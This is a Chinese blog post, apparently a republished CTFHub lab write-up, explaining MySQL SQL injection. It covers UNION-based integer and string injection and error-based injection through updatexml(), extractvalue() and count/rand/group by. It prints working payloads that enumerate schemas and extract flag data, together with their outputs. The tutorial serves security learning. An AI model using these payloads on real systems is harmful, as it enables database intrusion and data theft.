Ctfhub之SQL注入|SQL报错注入及原理详解

2024-03-23 17:18
文章标签 sql 详解 注入 原理 报错 database ctfhub

本文主要是介绍Ctfhub之SQL注入|SQL报错注入及原理详解，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

SQL报错注入及原理

  • 1、SQL 整数型注入
    • 1.1 查数据库名
    • 1.2 查数据表
    • 1.3 查flag表字段
  • 2、字符型注入
  • 3、报错注入
    • 3.1 updatexml() 函数报错注入原理
      • 3.1.1 updatexml() 函数定义
      • 3.1.2 updatexml() 函数运行机制
      • 3.1.3 updatexml() 函数运行示例
      • 3.1.4 利用updatexml()测试ctfhub的显错注入
    • 3.2 extractvalue()函数报错注入原理
      • 3.2.1 extractvalue()函数定义
      • 3.2.2 extractvalue()函数运行机制
      • 3.2.3 extractvalue() 函数运行示例
      • 3.2.4 利用extractvalue()函数测试ctfhub的显错注入
    • 3.3 (count()、rand()、group by)联合报错注入原理
      • 3.3.1 (count()、rand()、group by) 联合报错注入运行机制
      • 3.3.2 (count()、rand()、group by) 函数运行示例
      • 3.3.3 利用 (count()、rand()、group by)测试ctfhub的显错注入
    • 3.4 其他报错注入函数

1、SQL 整数型注入

1.1 查数据库名

-1 union select group_concat(schema_name),2 from information_schema.schemata -- +

结果：
information_schema,performance_schema,mysql,sqli

1.2 查数据表

-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database() -- +

结果：news,flag

1.3 查flag表字段

-1 union select group_concat(column_name),2 from information_schema.columns where table_name='flag' -- +

结果：flag

查flag字段的值：
-1 union select flag,2 from flag -- +

结果：
ctfhub{70d1ad7bf9945bf0fd7d03a24b478ee02d8ed3fd}

2、字符型注入

与上题同理
此处直接查询flag字段的值

-1' union select flag,2 from flag -- +

结果：
ctfhub{b3539d51931d28bdba34214afe5da5d457938b44}

3、报错注入

报错注入使用的mysql函数XML Functions
XML Functions官方说明：传送门

名称描述
ExtractValue()使用XPath表示法从XML字符串中提取值
UpdateXML()返回替换的XML片段

注意：两个函数查询出的结果显示长度限制为32位

其他需要使用的函数left()、right()

名称描述用法
left()从左开始截取字符串left(str, length)==>left(被截取字符串， 截取长度)
right()从右开始截取字符串right(str, length)==>right(被截取字符串， 截取长度)

3.1 updatexml() 函数报错注入原理

3.1.1 updatexml() 函数定义

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称；
第二个参数：XPath_string (Xpath格式的字符串)；
第三个参数：new_value，String格式，替换查找到的符合条件的数据；

3.1.2 updatexml() 函数运行机制

该函数对XPath_string进行查询操作，如果符合语法格式要求，则用第三个参数替换，不符合语法格式要求，则会报错并带出查询的结果

3.1.3 updatexml() 函数运行示例

正常查询替换
sql语句：

select updatexml('<a>c</a>','/a','<a>b</a>');

根据xpath语法规则，/、//、.、…、@都是合法的字符，要是函数报错需要使用以上字符之外的字符。

表达式描述
nodename选取此节点的所有子节点。
/从根节点选取。
//从匹配选择的当前节点选择文档中的节点，而不考虑它们的位置。
.选取当前节点。
…选取当前节点的父节点。
@选取属性。

xpath语法参考：传送门
不报错示例
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
构造报错

select updatexml('<a>c</a>','~x~','<a>b</a>');

字符~对应ascii码的十六进制为0x7e
在这里插入图片描述
用字符#，构造报错，#对应ascii码的十六进制为0x23
在这里插入图片描述

3.1.4 利用updatexml()测试ctfhub的显错注入

查询flag:(左侧)

1 union select updatexml(1,concat(0x7e, left((select(concat(flag)) from sqli.flag) ,31),0x7e),1)

结果：
查询错误: XPATH syntax error: ‘~ctfhub{bfc44f267a22b32837b6b9bc’

查询flag:(右侧)

1 union select updatexml(1,concat(0x7e, right((select(concat(flag)) from sqli.flag) ,31),0x7e),1)

结果：
查询错误: XPATH syntax error: ‘~22b32837b6b9bcce6ad6d979e57e06}’

合并flag:
ctfhub{bfc44f267a22b32837b6b9bcce6ad6d979e57e06}

3.2 extractvalue()函数报错注入原理

3.2.1 extractvalue()函数定义

EXTRACTVALUE (XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的名称；
第二个参数：XPath_string (Xpath格式的字符串)；
作用：从目标XML中返回包含所查询值的字符串；

3.2.2 extractvalue()函数运行机制

与updatexml()函数相似，该函数对XPath_string进行查询操作，如果符合语法格式要求，则从目标XML中返回包含所查询值的字符串，不符合语法格式要求，则会报错并带出查询的结果

3.2.3 extractvalue() 函数运行示例

正常使用情形：

select extractvalue('<a>ccc<b>ddd</b></a>', '/a') ;

从<a>ccc<b>ddd</b></a>中查找a结点下的字符串
在这里插入图片描述
从<a>ccc<b>ddd</b></a>中查找a的子节点b下的字符串
在这里插入图片描述
构造报错情形：
因xpath语法不支持字符~，引起报错
在这里插入图片描述
使用xpath语法不支持的字符~，但是查询仍然执行，从报错结果中可查看查询结果
在这里插入图片描述

3.2.4 利用extractvalue()函数测试ctfhub的显错注入

查询flag:(左侧)

1 union select extractvalue(1,concat(0x7e,left((select flag from flag limit 0,1),31),0x7e))

结果：
查询错误: XPATH syntax error: ‘~ctfhub{037b6870a883f7e2591bf0e0’

查询flag:(右侧)

1 union select extractvalue(1,concat(0x7e,right((select flag from flag limit 0,1),31),0x7e))

结果：
查询错误: XPATH syntax error: ‘~83f7e2591bf0e0b24dd8c005e850ac}’

3.3 (count()、rand()、group by)联合报错注入原理

3.3.1 (count()、rand()、group by) 联合报错注入运行机制

mysql在遇到select count(*) from table group by floor(rand(0)*2)语句时，首先会建立一个虚拟表，其中floor(rand(0)*2)产生值为0和1的固定序列，使用group by的时候floor(rand(0)*2)会被执行多次，从而造成主键冲突引起报错
详细解释可参考《Mysql报错注入原理分析(count()、rand()、group by)》

3.3.2 (count()、rand()、group by) 函数运行示例

我这里用dvwa的数据库做示例

select count(*) from users group by concat(version(),0x7e,floor(rand(0)*2));在这里插入图片描述

3.3.3 利用 (count()、rand()、group by)测试ctfhub的显错注入

暴库名：

-1 union select count(*),id from news group by concat((select schema_name from information_schema.schemata limit 0,1),0x7e,floor(rand(0)*2));

查询错误: Duplicate entry ‘information_schema~1’ for key ‘group_key’

-1 union select count(*),id from news group by concat((select schema_name from information_schema.schemata limit 1,1),0x7e,floor(rand(0)*2));

查询错误: Duplicate entry ‘performance_schema~1’ for key ‘group_key’

查flag

-1 union select count(*),id from news group by concat((select flag from flag),0x7e,floor(rand(0)*2));

查询错误: Duplicate entry ‘ctfhub{8de883ddc01695e09f590bce0323e2956ceafda5}~1’ for key ‘group_key’

3.4 其他报错注入函数

这篇文章写的挺详细，欢迎参考《MySQL报错注入函数汇总》

其中
1、exp()函数在MySql5.5.5版本后整形溢出才会报错

2、几何函数报错注入geometrycollection()，multipoint()，polygon()，multipolygon()，linestring()，multilinestring()，函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据，如果不满足要求，则会报错。
注意：以上函数需在低版本的mysql中才会报错

3、MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数，所以5.1.5版本以下的MySQL不能用上述函数进行报错注入，上述报错注入函数有字符限制，最长32位

4、name_const(name,value)函数会用传入的参数返回一列结果集.传入的参数必须是常量，如果不是则报错，但在最新的MYSQL版本中，使用name_const()函数只能提取到数据库的版本信息。

这篇关于Ctfhub之SQL注入|SQL报错注入及原理详解的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/839005。

相关文章

MySQL常用字符串函数示例和场景介绍

MySQL常用字符串函数示例和场景介绍

《MySQL常用字符串函数示例和场景介绍》MySQL提供了丰富的字符串函数帮助我们高效地对字符串进行处理、转换和分析,本文我将全面且深入地介绍MySQL常用的字符串函数,并结合具体示例和场景,帮你熟练... 目录一、字符串函数概述1.1 字符串函数的作用1.2 字符串函数分类二、字符串长度与统计函数2.1
阅读更多...
Python标准库之数据压缩和存档的应用详解

Python标准库之数据压缩和存档的应用详解

《Python标准库之数据压缩和存档的应用详解》在数据处理与存储领域,压缩和存档是提升效率的关键技术,Python标准库提供了一套完整的工具链,下面小编就来和大家简单介绍一下吧... 目录一、核心模块架构与设计哲学二、关键模块深度解析1.tarfile：专业级归档工具2.zipfile：跨平台归档首选3.
阅读更多...
SQL Server跟踪自动统计信息更新实战指南

SQL Server跟踪自动统计信息更新实战指南

《SQLServer跟踪自动统计信息更新实战指南》本文详解SQLServer自动统计信息更新的跟踪方法,推荐使用扩展事件实时捕获更新操作及详细信息,同时结合系统视图快速检查统计信息状态,重点强调修... 目录SQL Server 如何跟踪自动统计信息更新：深入解析与实战指南 核心跟踪方法1️⃣ 利用系统目录
阅读更多...
MySQL 内存使用率常用分析语句

MySQL 内存使用率常用分析语句

《MySQL内存使用率常用分析语句》用户整理了MySQL内存占用过高的分析方法,涵盖操作系统层确认及数据库层bufferpool、内存模块差值、线程状态、performance_schema性能数据... 目录一、 OS层二、 DB层1. 全局情况2. 内存占js用详情最近连续遇到mysql内存占用过高导致
阅读更多...
idea的终端(Terminal)cmd的命令换成linux的命令详解

idea的终端(Terminal)cmd的命令换成linux的命令详解

《idea的终端(Terminal)cmd的命令换成linux的命令详解》本文介绍IDEA配置Git的步骤：安装Git、修改终端设置并重启IDEA,强调顺序,作为个人经验分享,希望提供参考并支持脚本之... 目录一编程、设置前二、前置条件三、android设置四、设置后总结一、php设置前二、前置条件
阅读更多...
python中列表应用和扩展性实用详解

python中列表应用和扩展性实用详解

《python中列表应用和扩展性实用详解》文章介绍了Python列表的核心特性：有序数据集合,用[]定义,元素类型可不同,支持迭代、循环、切片,可执行增删改查、排序、推导式及嵌套操作,是常用的数据处理... 目录1、列表定义2、格式3、列表是可迭代对象4、列表的常见操作总结1、列表定义是处理一组有序项目的
阅读更多...
python使用try函数详解

python使用try函数详解

《python使用try函数详解》Pythontry语句用于异常处理,支持捕获特定/多种异常、else/final子句确保资源释放,结合with语句自动清理,可自定义异常及嵌套结构,灵活应对错误场景... 目录try 函数的基本语法捕获特定异常捕获多个异常使用 else 子句使用 finally 子句捕获所
阅读更多...
Mysql中设计数据表的过程解析

Mysql中设计数据表的过程解析

《Mysql中设计数据表的过程解析》数据库约束通过NOTNULL、UNIQUE、DEFAULT、主键和外键等规则保障数据完整性,自动校验数据,减少人工错误,提升数据一致性和业务逻辑严谨性,本文介绍My... 目录1.引言2.NOT NULL——制定某列不可以存储NULL值2.UNIQUE——保证某一列的每一
阅读更多...
C++11范围for初始化列表auto decltype详解

C++11范围for初始化列表auto decltype详解

《C++11范围for初始化列表autodecltype详解》C++11引入auto类型推导、decltype类型推断、统一列表初始化、范围for循环及智能指针,提升代码简洁性、类型安全与资源管理效... 目录C++11新特性1. 自动类型推导auto1.1 基本语法2. decltype3. 列表初始化3
阅读更多...
解密SQL查询语句执行的过程

解密SQL查询语句执行的过程

《解密SQL查询语句执行的过程》文章讲解了SQL语句的执行流程,涵盖解析、优化、执行三个核心阶段,并介绍执行计划查看方法EXPLAIN,同时提出性能优化技巧如合理使用索引、避免SELECT*、JOIN... 目录1. SQL语句的基本结构2. SQL语句的执行过程3. SQL语句的执行计划4. 常见的性能优
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2